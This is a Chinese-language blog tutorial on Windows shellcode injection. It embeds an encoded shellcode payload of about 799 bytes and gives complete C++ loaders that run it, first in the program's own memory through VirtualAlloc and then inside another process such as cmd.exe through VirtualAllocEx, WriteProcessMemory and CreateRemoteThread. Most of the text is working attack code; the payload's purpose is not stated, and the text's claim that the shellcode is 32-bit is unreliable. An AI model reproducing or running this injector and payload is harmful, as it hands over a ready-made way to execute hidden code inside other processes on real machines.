shellcode注入原理
unsigned char buf[] = "\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef\xff" "\xff\xff\x48\xbb\xec\x91\x66\x93\xd5\xdb\x11\xd7\x48\x31\x58" "\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x10\xd9\xe5\x77\x25\x33" "\xd1\xd7\xec\x91\x27\xc2\x94\x8b\x43\x86\xba\xd9\x57\x41\xb0" "\x93\x9a\x85\x8c\xd9\xed\xc1\xcd\x93\x9a\x85\xcc\xd9\xed\xe1" "\x85\x93\x1e\x60\xa6\xdb\x2b\xa2\x1c\x93\x20\x17\x40\xad\x07" "\xef\xd7\xf7\x31\x96\x2d\x58\x6b\xd2\xd4\x1a\xf3\x3a\xbe\xd0" "\x37\xdb\x5e\x89\x31\x5c\xae\xad\x2e\x92\x05\x50\x91\x5f\xec" "\x91\x66\xdb\x50\x1b\x65\xb0\xa4\x90\xb6\xc3\x5e\x93\x09\x93" "\x67\xd1\x46\xda\xd4\x0b\xf2\x81\xa4\x6e\xaf\xd2\x5e\xef\x99" "\x9f\xed\x47\x2b\xa2\x1c\x93\x20\x17\x40\xd0\xa7\x5a\xd8\x9a" "\x10\x16\xd4\x71\x13\x62\x99\xd8\x5d\xf3\xe4\xd4\x5f\x42\xa0" "\x03\x49\x93\x67\xd1\x42\xda\xd4\x0b\x77\x96\x67\x9d\x2e\xd7" "\x5e\x9b\x0d\x9e\xed\x41\x27\x18\xd1\x53\x59\xd6\x3c\xd0\x3e" "\xd2\x8d\x85\x48\x8d\xad\xc9\x27\xca\x94\x81\x59\x54\x00\xb1" "\x27\xc1\x2a\x3b\x49\x96\xb5\xcb\x2e\x18\xc7\x32\x46\x28\x13" "\x6e\x3b\xda\x6b\xac\x62\xe5\xb3\xa2\x54\x93\xd5\x9a\x47\x9e" "\x65\x77\x2e\x12\x39\x7b\x10\xd7\xec\xd8\xef\x76\x9c\x67\x13" "\xd7\xed\x2a\xa6\x3b\xd4\xb3\x50\x83\xa5\x18\x82\xdf\x5c\x2a" "\x50\x6d\xa0\xe6\x40\x94\x2a\x0e\x5d\x5e\x06\xf9\x67\x92\xd5" "\xdb\x48\x96\x56\xb8\xe6\xf8\xd5\x24\xc4\x87\xbc\xdc\x57\x5a" "\x98\xea\xd1\x9f\x13\x51\x2e\x1a\x17\x93\xee\x17\xa4\x18\xa7" "\xd2\x6f\x31\x1e\x08\x0c\x6e\xb3\xdb\x5c\x1c\x7b\xc7\xad\xc9" "\x2a\x1a\x37\x93\x98\x2e\xad\x2b\xff\x36\xa1\xba\xee\x02\xa4" "\x10\xa2\xd3\xd7\xdb\x11\x9e\x54\xf2\x0b\xf7\xd5\xdb\x11\xd7" "\xec\xd0\x36\xd2\x85\x93\x98\x35\xbb\xc6\x31\xde\xe4\x1b\x7b" "\xda\xb5\xd0\x36\x71\x29\xbd\xd6\x93\xc8\xc5\x67\x92\x9d\x56" "\x55\xf3\xf4\x57\x66\xfb\x9d\x52\xf7\x81\xbc\xd0\x36\xd2\x85" "\x9a\x41\x9e\x13\x51\x27\xc3\x9c\x24\xd9\x9a\x65\x50\x2a\x1a" "\x14\x9a\xab\xae\x20\xae\xe0\x6c\x00\x93\x20\x05\xa4\x6e\xac" "\x18\xdb\x9a\xab\xdf\x6b\x8c\x06\x6c\x00\x60\xe1\x62\x4e\xc7" "\x27\x29\x73\x4e\xac\x4a\x13\x44\x2e\x10\x11\xf3\x2d\xd1\x90" "\x9b\xe6\x68\x35\xae\x14\x6c\xab\x82\x14\xfc\xbf\xdb\x48\x96" "\x65\x4b\x99\x46\xd5\xdb\x11\xd7";
上面是一段shellcode 如果我们直接写入会不会执行呐?
// ConsoleApplication5.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" unsigned char buf[] = "\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef\xff" "\xff\xff\x48\xbb\xec\x91\x66\x93\xd5\xdb\x11\xd7\x48\x31\x58" "\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x10\xd9\xe5\x77\x25\x33" "\xd1\xd7\xec\x91\x27\xc2\x94\x8b\x43\x86\xba\xd9\x57\x41\xb0" "\x93\x9a\x85\x8c\xd9\xed\xc1\xcd\x93\x9a\x85\xcc\xd9\xed\xe1" "\x85\x93\x1e\x60\xa6\xdb\x2b\xa2\x1c\x93\x20\x17\x40\xad\x07" "\xef\xd7\xf7\x31\x96\x2d\x58\x6b\xd2\xd4\x1a\xf3\x3a\xbe\xd0" "\x37\xdb\x5e\x89\x31\x5c\xae\xad\x2e\x92\x05\x50\x91\x5f\xec" "\x91\x66\xdb\x50\x1b\x65\xb0\xa4\x90\xb6\xc3\x5e\x93\x09\x93" "\x67\xd1\x46\xda\xd4\x0b\xf2\x81\xa4\x6e\xaf\xd2\x5e\xef\x99" "\x9f\xed\x47\x2b\xa2\x1c\x93\x20\x17\x40\xd0\xa7\x5a\xd8\x9a" "\x10\x16\xd4\x71\x13\x62\x99\xd8\x5d\xf3\xe4\xd4\x5f\x42\xa0" "\x03\x49\x93\x67\xd1\x42\xda\xd4\x0b\x77\x96\x67\x9d\x2e\xd7" "\x5e\x9b\x0d\x9e\xed\x41\x27\x18\xd1\x53\x59\xd6\x3c\xd0\x3e" "\xd2\x8d\x85\x48\x8d\xad\xc9\x27\xca\x94\x81\x59\x54\x00\xb1" "\x27\xc1\x2a\x3b\x49\x96\xb5\xcb\x2e\x18\xc7\x32\x46\x28\x13" "\x6e\x3b\xda\x6b\xac\x62\xe5\xb3\xa2\x54\x93\xd5\x9a\x47\x9e" "\x65\x77\x2e\x12\x39\x7b\x10\xd7\xec\xd8\xef\x76\x9c\x67\x13" "\xd7\xed\x2a\xa6\x3b\xd4\xb3\x50\x83\xa5\x18\x82\xdf\x5c\x2a" "\x50\x6d\xa0\xe6\x40\x94\x2a\x0e\x5d\x5e\x06\xf9\x67\x92\xd5" "\xdb\x48\x96\x56\xb8\xe6\xf8\xd5\x24\xc4\x87\xbc\xdc\x57\x5a" "\x98\xea\xd1\x9f\x13\x51\x2e\x1a\x17\x93\xee\x17\xa4\x18\xa7" "\xd2\x6f\x31\x1e\x08\x0c\x6e\xb3\xdb\x5c\x1c\x7b\xc7\xad\xc9" "\x2a\x1a\x37\x93\x98\x2e\xad\x2b\xff\x36\xa1\xba\xee\x02\xa4" "\x10\xa2\xd3\xd7\xdb\x11\x9e\x54\xf2\x0b\xf7\xd5\xdb\x11\xd7" "\xec\xd0\x36\xd2\x85\x93\x98\x35\xbb\xc6\x31\xde\xe4\x1b\x7b" "\xda\xb5\xd0\x36\x71\x29\xbd\xd6\x93\xc8\xc5\x67\x92\x9d\x56" "\x55\xf3\xf4\x57\x66\xfb\x9d\x52\xf7\x81\xbc\xd0\x36\xd2\x85" "\x9a\x41\x9e\x13\x51\x27\xc3\x9c\x24\xd9\x9a\x65\x50\x2a\x1a" "\x14\x9a\xab\xae\x20\xae\xe0\x6c\x00\x93\x20\x05\xa4\x6e\xac" "\x18\xdb\x9a\xab\xdf\x6b\x8c\x06\x6c\x00\x60\xe1\x62\x4e\xc7" "\x27\x29\x73\x4e\xac\x4a\x13\x44\x2e\x10\x11\xf3\x2d\xd1\x90" "\x9b\xe6\x68\x35\xae\x14\x6c\xab\x82\x14\xfc\xbf\xdb\x48\x96" "\x65\x4b\x99\x46\xd5\xdb\x11\xd7"; typedef void(*PFN_FOO)(); int main() { PFN_FOO f = (PFN_FOO)(void *)buf; f(); }
我们可以看见内存区域可读可写不可以执行,因为shellcode在程序的全局区,没有可执行权限,代码所在内存必须可读可执行,但是重新编译不行,因为重新编译了就变了,所以还可以在当前程序申请一块可写可读可执行的代码区
VirtualAlloc
LPVOID VirtualAlloc( LPVOID lpAddress, // region to reserve or commit SIZE_T dwSize, // size of region DWORD flAllocationType, // type of allocation DWORD flProtect // type of access protection);
这里来申请一块
LPVOID lpAddr = VirtualAlloc( NULL, //表示任意地址,随机分配 1, //内存通常是以分页为单位来给空间 1页=4k 4096字节 MEM_COMMIT, //告诉操作系统给分配一块内存 PAGE_EXECUTE_READWRITE ); if (lpAddr == NULL){ printf("Alloc error!"); return 0; }
可以看到内存已经申请好了,接下来就把我们的数据拷贝过来,再执行,最后还要释放掉
memcpy(lpAddr, data, sizeof(data)); typedef void(*PFN_FOO)(); PFN_FOO f = (PFN_FOO)(void*)lpAddr; f(); VirtualFree(lpAddr,1,MEM_DECOMMIT);
完整代码
// ConsoleApplication5.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" #include "Windows.h" #include "iostream" unsigned char buf[] = "\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef\xff" "\xff\xff\x48\xbb\xec\x91\x66\x93\xd5\xdb\x11\xd7\x48\x31\x58" "\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x10\xd9\xe5\x77\x25\x33" "\xd1\xd7\xec\x91\x27\xc2\x94\x8b\x43\x86\xba\xd9\x57\x41\xb0" "\x93\x9a\x85\x8c\xd9\xed\xc1\xcd\x93\x9a\x85\xcc\xd9\xed\xe1" "\x85\x93\x1e\x60\xa6\xdb\x2b\xa2\x1c\x93\x20\x17\x40\xad\x07" "\xef\xd7\xf7\x31\x96\x2d\x58\x6b\xd2\xd4\x1a\xf3\x3a\xbe\xd0" "\x37\xdb\x5e\x89\x31\x5c\xae\xad\x2e\x92\x05\x50\x91\x5f\xec" "\x91\x66\xdb\x50\x1b\x65\xb0\xa4\x90\xb6\xc3\x5e\x93\x09\x93" "\x67\xd1\x46\xda\xd4\x0b\xf2\x81\xa4\x6e\xaf\xd2\x5e\xef\x99" "\x9f\xed\x47\x2b\xa2\x1c\x93\x20\x17\x40\xd0\xa7\x5a\xd8\x9a" "\x10\x16\xd4\x71\x13\x62\x99\xd8\x5d\xf3\xe4\xd4\x5f\x42\xa0" "\x03\x49\x93\x67\xd1\x42\xda\xd4\x0b\x77\x96\x67\x9d\x2e\xd7" "\x5e\x9b\x0d\x9e\xed\x41\x27\x18\xd1\x53\x59\xd6\x3c\xd0\x3e" "\xd2\x8d\x85\x48\x8d\xad\xc9\x27\xca\x94\x81\x59\x54\x00\xb1" "\x27\xc1\x2a\x3b\x49\x96\xb5\xcb\x2e\x18\xc7\x32\x46\x28\x13" "\x6e\x3b\xda\x6b\xac\x62\xe5\xb3\xa2\x54\x93\xd5\x9a\x47\x9e" "\x65\x77\x2e\x12\x39\x7b\x10\xd7\xec\xd8\xef\x76\x9c\x67\x13" "\xd7\xed\x2a\xa6\x3b\xd4\xb3\x50\x83\xa5\x18\x82\xdf\x5c\x2a" "\x50\x6d\xa0\xe6\x40\x94\x2a\x0e\x5d\x5e\x06\xf9\x67\x92\xd5" "\xdb\x48\x96\x56\xb8\xe6\xf8\xd5\x24\xc4\x87\xbc\xdc\x57\x5a" "\x98\xea\xd1\x9f\x13\x51\x2e\x1a\x17\x93\xee\x17\xa4\x18\xa7" "\xd2\x6f\x31\x1e\x08\x0c\x6e\xb3\xdb\x5c\x1c\x7b\xc7\xad\xc9" "\x2a\x1a\x37\x93\x98\x2e\xad\x2b\xff\x36\xa1\xba\xee\x02\xa4" "\x10\xa2\xd3\xd7\xdb\x11\x9e\x54\xf2\x0b\xf7\xd5\xdb\x11\xd7" "\xec\xd0\x36\xd2\x85\x93\x98\x35\xbb\xc6\x31\xde\xe4\x1b\x7b" "\xda\xb5\xd0\x36\x71\x29\xbd\xd6\x93\xc8\xc5\x67\x92\x9d\x56" "\x55\xf3\xf4\x57\x66\xfb\x9d\x52\xf7\x81\xbc\xd0\x36\xd2\x85" "\x9a\x41\x9e\x13\x51\x27\xc3\x9c\x24\xd9\x9a\x65\x50\x2a\x1a" "\x14\x9a\xab\xae\x20\xae\xe0\x6c\x00\x93\x20\x05\xa4\x6e\xac" "\x18\xdb\x9a\xab\xdf\x6b\x8c\x06\x6c\x00\x60\xe1\x62\x4e\xc7" "\x27\x29\x73\x4e\xac\x4a\x13\x44\x2e\x10\x11\xf3\x2d\xd1\x90" "\x9b\xe6\x68\x35\xae\x14\x6c\xab\x82\x14\xfc\xbf\xdb\x48\x96" "\x65\x4b\x99\x46\xd5\xdb\x11\xd7"; typedef void(*PFN_FOO)(); int main() { LPVOID lpAddr = VirtualAlloc( NULL, //表示任意地址,随机分配 1, //内存通常是以分页为单位来给空间 1页=4k 4096字节 MEM_COMMIT, //告诉操作系统给分配一块内存 PAGE_EXECUTE_READWRITE ); if (lpAddr == NULL){ printf("Alloc error!"); return 0; } //到这里表示能够成功分配内存 memcpy(lpAddr, buf, sizeof(buf)); typedef void(*PFN_FOO)(); PFN_FOO f = (PFN_FOO)(void*)lpAddr; f(); VirtualFree(lpAddr,1,MEM_DECOMMIT); return 0; }
VirtualAllocEx指定进程开辟内存空间
LPVOID VirtualAllocEx( HANDLE hProcess, // process to allocate memory LPVOID lpAddress, // desired starting address SIZE_T dwSize, // size of region to allocate DWORD flAllocationType, // type of allocation DWORD flProtect // type of access protection);
代码差不多,但是这里我们要先获取我们要注入的进程句柄,这里shellcode为32位所以我们需要获取的也是32位的
//获取快照 HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe32; DWORD pid = 0; pe32.dwSize = sizeof(PROCESSENTRY32); //查看第一个进程 BOOL bRet = Process32First(hSnap, &pe32); while (bRet) { bRet = Process32Next(hSnap, &pe32); if (wcscmp(pe32.szExeFile, L"procexp.exe") == 0){ pid = pe32.th32ProcessID; break; } } //获取进程句柄 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
在目标进程开辟空间
//1.在目标进程开辟空间 LPVOID lpAddr = VirtualAllocEx( hProcess, //在目标进程中开辟空间 NULL, //表示任意地址,随机分配 1, //内存通常是以分页为单位来给空间 1页=4k 4096字节 MEM_COMMIT, //告诉操作系统给分配一块内存 PAGE_EXECUTE_READWRITE ); if (lpAddr == NULL){ printf("Alloc error!"); return 0; }
然后我们就是要写入,这里就不能使用memcpy了因为这个是当前进程调用的
WriteProcessMemory
BOOL WriteProcessMemory( HANDLE hProcess, // handle to process LPVOID lpBaseAddress, // base of memory area LPCVOID lpBuffer, // data buffer SIZE_T nSize, // count of bytes to write SIZE_T * lpNumberOfBytesWritten // count of bytes written);
这里写入我们的shellcode
//2.在目标进程中写入代码 bRet = WriteProcessMemory( hProcess, //目标进程 lpAddr, //目标地址 目标进程中 data, //源数据 当前进程中 sizeof(data), //写多大 &dwWritesBytes //成功写入的字节数 ); if (!bRet){ VirtualFreeEx(hProcess, lpAddr, 1, MEM_DECOMMIT); return 0; }
写进去了还要调用才能执行,创建远程线程
CreateRemoteThread
HANDLE CreateRemoteThread( HANDLE hProcess, // handle to process LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD SIZE_T dwStackSize, // initial stack size LPTHREAD_START_ROUTINE lpStartAddress, // thread function LPVOID lpParameter, // thread argument DWORD dwCreationFlags, // creation option LPDWORD lpThreadId // thread identifier);
返回目标进程的线程
//3.向目标程序调用一个线程 创建远程线程 执行写入代码 HANDLE hRemoteThread = CreateRemoteThread(hProcess, //目标进程 NULL, 0, (LPTHREAD_START_ROUTINE)lpAddr, //目标进程的回调函数 NULL, //回调参数 0, NULL );
这里我们不要立马释放因为可能执行需要一段时间,所以要等待执行完毕再释放
完成代码为
// shellcode.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include <Windows.h>
#include <TlHelp32.h>
/* length: 799 bytes */
unsigned char buf[] =
"\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\xec\x91\x66\x93\xd5\xdb\x11\xd7\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x10\xd9\xe5\x77\x25\x33"
"\xd1\xd7\xec\x91\x27\xc2\x94\x8b\x43\x86\xba\xd9\x57\x41\xb0"
"\x93\x9a\x85\x8c\xd9\xed\xc1\xcd\x93\x9a\x85\xcc\xd9\xed\xe1"
"\x85\x93\x1e\x60\xa6\xdb\x2b\xa2\x1c\x93\x20\x17\x40\xad\x07"
"\xef\xd7\xf7\x31\x96\x2d\x58\x6b\xd2\xd4\x1a\xf3\x3a\xbe\xd0"
"\x37\xdb\x5e\x89\x31\x5c\xae\xad\x2e\x92\x05\x50\x91\x5f\xec"
"\x91\x66\xdb\x50\x1b\x65\xb0\xa4\x90\xb6\xc3\x5e\x93\x09\x93"
"\x67\xd1\x46\xda\xd4\x0b\xf2\x81\xa4\x6e\xaf\xd2\x5e\xef\x99"
"\x9f\xed\x47\x2b\xa2\x1c\x93\x20\x17\x40\xd0\xa7\x5a\xd8\x9a"
"\x10\x16\xd4\x71\x13\x62\x99\xd8\x5d\xf3\xe4\xd4\x5f\x42\xa0"
"\x03\x49\x93\x67\xd1\x42\xda\xd4\x0b\x77\x96\x67\x9d\x2e\xd7"
"\x5e\x9b\x0d\x9e\xed\x41\x27\x18\xd1\x53\x59\xd6\x3c\xd0\x3e"
"\xd2\x8d\x85\x48\x8d\xad\xc9\x27\xca\x94\x81\x59\x54\x00\xb1"
"\x27\xc1\x2a\x3b\x49\x96\xb5\xcb\x2e\x18\xc7\x32\x46\x28\x13"
"\x6e\x3b\xda\x6b\xac\x62\xe5\xb3\xa2\x54\x93\xd5\x9a\x47\x9e"
"\x65\x77\x2e\x12\x39\x7b\x10\xd7\xec\xd8\xef\x76\x9c\x67\x13"
"\xd7\xed\x2a\xa6\x3b\xd4\xb3\x50\x83\xa5\x18\x82\xdf\x5c\x2a"
"\x50\x6d\xa0\xe6\x40\x94\x2a\x0e\x5d\x5e\x06\xf9\x67\x92\xd5"
"\xdb\x48\x96\x56\xb8\xe6\xf8\xd5\x24\xc4\x87\xbc\xdc\x57\x5a"
"\x98\xea\xd1\x9f\x13\x51\x2e\x1a\x17\x93\xee\x17\xa4\x18\xa7"
"\xd2\x6f\x31\x1e\x08\x0c\x6e\xb3\xdb\x5c\x1c\x7b\xc7\xad\xc9"
"\x2a\x1a\x37\x93\x98\x2e\xad\x2b\xff\x36\xa1\xba\xee\x02\xa4"
"\x10\xa2\xd3\xd7\xdb\x11\x9e\x54\xf2\x0b\xf7\xd5\xdb\x11\xd7"
"\xec\xd0\x36\xd2\x85\x93\x98\x35\xbb\xc6\x31\xde\xe4\x1b\x7b"
"\xda\xb5\xd0\x36\x71\x29\xbd\xd6\x93\xc8\xc5\x67\x92\x9d\x56"
"\x55\xf3\xf4\x57\x66\xfb\x9d\x52\xf7\x81\xbc\xd0\x36\xd2\x85"
"\x9a\x41\x9e\x13\x51\x27\xc3\x9c\x24\xd9\x9a\x65\x50\x2a\x1a"
"\x14\x9a\xab\xae\x20\xae\xe0\x6c\x00\x93\x20\x05\xa4\x6e\xac"
"\x18\xdb\x9a\xab\xdf\x6b\x8c\x06\x6c\x00\x60\xe1\x62\x4e\xc7"
"\x27\x29\x73\x4e\xac\x4a\x13\x44\x2e\x10\x11\xf3\x2d\xd1\x90"
"\x9b\xe6\x68\x35\xae\x14\x6c\xab\x82\x14\xfc\xbf\xdb\x48\x96"
"\x65\x4b\x99\x46\xd5\xdb\x11\xd7";
typedef void(*PFN_FOO)();
int main()
{
//获取快照
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe32;
DWORD pid = 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
//查看第一个进程
BOOL bRet = Process32First(hSnap, &pe32);
while (bRet)
{
bRet = Process32Next(hSnap, &pe32);
if (wcscmp(pe32.szExeFile, L"cmd.exe") == 0){
pid = pe32.th32ProcessID;
break;
}
}
//获取进程句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
//1.在目标进程开辟空间
LPVOID lpAddr = VirtualAllocEx(
hProcess, //在目标进程中开辟空间
NULL, //表示任意地址,随机分配
1, //内存通常是以分页为单位来给空间 1页=4k 4096字节
MEM_COMMIT, //告诉操作系统给分配一块内存
PAGE_EXECUTE_READWRITE
);
if (lpAddr == NULL){
printf("Alloc error!");
return 0;
}
SIZE_T dwWritesBytes = 0;
//2.在目标进程中写入代码
bRet = WriteProcessMemory(
hProcess, //目标进程
lpAddr, //目标地址 目标进程中
buf, //源数据 当前进程中
sizeof(buf), //写多大
&dwWritesBytes //成功写入的字节数
);
if (!bRet){
VirtualFreeEx(hProcess, lpAddr, 1, MEM_DECOMMIT);
return 0;
}
//3.向目标程序调用一个线程 创建远程线程 执行写入代码
HANDLE hRemoteThread = CreateRemoteThread(hProcess, //目标进程
NULL,
0,
(LPTHREAD_START_ROUTINE)lpAddr, //目标进程的回调函数
NULL, //回调参数
0,
NULL
);
return 0;
}
RE
https://www.cnblogs.com/yicunyiye/p/13696373.html